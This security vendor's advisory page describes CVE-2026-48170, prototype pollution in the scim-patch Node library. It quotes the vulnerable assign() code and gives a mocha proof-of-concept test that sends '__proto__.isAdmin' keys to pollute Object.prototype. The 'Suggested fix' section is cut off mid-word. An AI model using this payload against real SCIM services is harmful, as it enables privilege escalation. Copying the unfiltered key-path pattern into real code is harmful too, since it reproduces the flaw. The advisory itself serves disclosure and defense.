Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-48170 — scim-patch

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-1321 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

scimPatch vulnerable to prototype pollution via unfiltered keys in patch

Summary

scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch,

Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.

Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.

Impact

  • Class: Prototype pollution ([CWE-1321](https://cwe.mitre.org/data/definitions/1321.html))
  • Affected versions: <= 0.9.0 (current HEAD 871b1e2)
  • Attack vector: Network — sent as part of a normal SCIM PATCH /Users/:id request body.
  • Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
  • Scope: Changed — the bug is in a SCIM library but the side effect (Object.prototype mutation) leaks into the entire Node process.

Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:

  • Privilege escalation if any auth/middleware code checks actor.isAdmin / req.user.admin / similar boolean flags against a plain object that *expects* the key to be absent.
  • Logic bypass / DoS if any code branches on obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check — a real incident at one consumer).
  • Persistence: lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.

Root cause

In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:

```ts

function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {

if (typeof patch.value !== 'object') { ... }

// src/scimPatch.ts:423-427

for (const [key, value] of Object.entries(patch.value)) {

assign(property, resolvePaths(key), value, patch.op);

}

return property;

}

```

assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):

```ts

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {

const lastKeyIndex = keyPath.length - 1;

for (let i = 0; i < lastKeyIndex; ++i) {

const key = keyPath[i];

if (!(key in obj)) {

obj[key] = {};

}

obj = obj[key]; // ← obj["__proto__"] === Object.prototype

}

// ... assigns into Object.prototype

}

```

For keyPath = ["__proto__", "polluted"]:

  • "__proto__" in obj is always true, so the fresh-object branch is skipped.
  • obj = obj["__proto__"] now points to Object.prototype.
  • The final write lands on Object.prototype.polluted.

The same shape works for constructor.prototype keys.

Proof of concept

Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:

```ts

import { scimPatch } from '../src/scimPatch';

import { ScimUser } from './types/types.test';

import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => {

let scimUser: ScimUser;

beforeEach(() => {

scimUser = JSON.parse(`{

"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],

"id": "tea_4",

"userName": "spiderman",

"name": { "familyName": "Parker", "givenName": "Peter" },

"active": true,

"emails": [{ "value": "[email protected]", "primary": true }],

"roles": [],

"meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }

}`);

});

afterEach(() => {

delete (Object.prototype as any).polluted;

delete (Object.prototype as any).isAdmin;

});

it('pollutes Object.prototype via a value-key containing __proto__', () => {

expect(({} as any).polluted).to.equal(undefined);

scimPatch(scimUser, [{

op: 'add',

path: 'name',

value: { '__proto__.polluted': 'yes' }

}]);

expect((Object.prototype as any).polluted).to.equal('yes');

expect(({} as any).polluted).to.equal('yes');

});

it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => {

expect(({} as any).isAdmin).to.equal(undefined);

scimPatch(scimUser, [{

op: 'add',

path: 'name',

value: { '__proto__.isAdmin': true }

}]);

expect((Object.prototype as any).isAdmin).to.equal(true);

expect(({} as any).isAdmin).to.equal(true);

});

});

```

Suggested fix

Reje

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity high, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2026-48170 is classified as CWE-1321: Prototype Pollution. Attacker input can modify an object prototype, changing behaviour for objects across the application.

Affected software

CVE-2026-48170 is recorded against 2 packages.

  • scim-patch
  • unknown

Timeline and source

Published on 22 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Package)

Same weakness in other software

These advisories are the same class of weakness (CWE-1321: Prototype Pollution) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
CWE CWE-1321
Public Exploit ✅ No
Source NVD
Published 2026-06-22
Updated 2026-08-20
Modified 2026-06-22
Fix URL N/A

Affected Packages

Software From version Fixed in
scim-patch
unknown

Exploit Protection

Are you running scim-patch?

CVE-2026-48170 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-48170 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026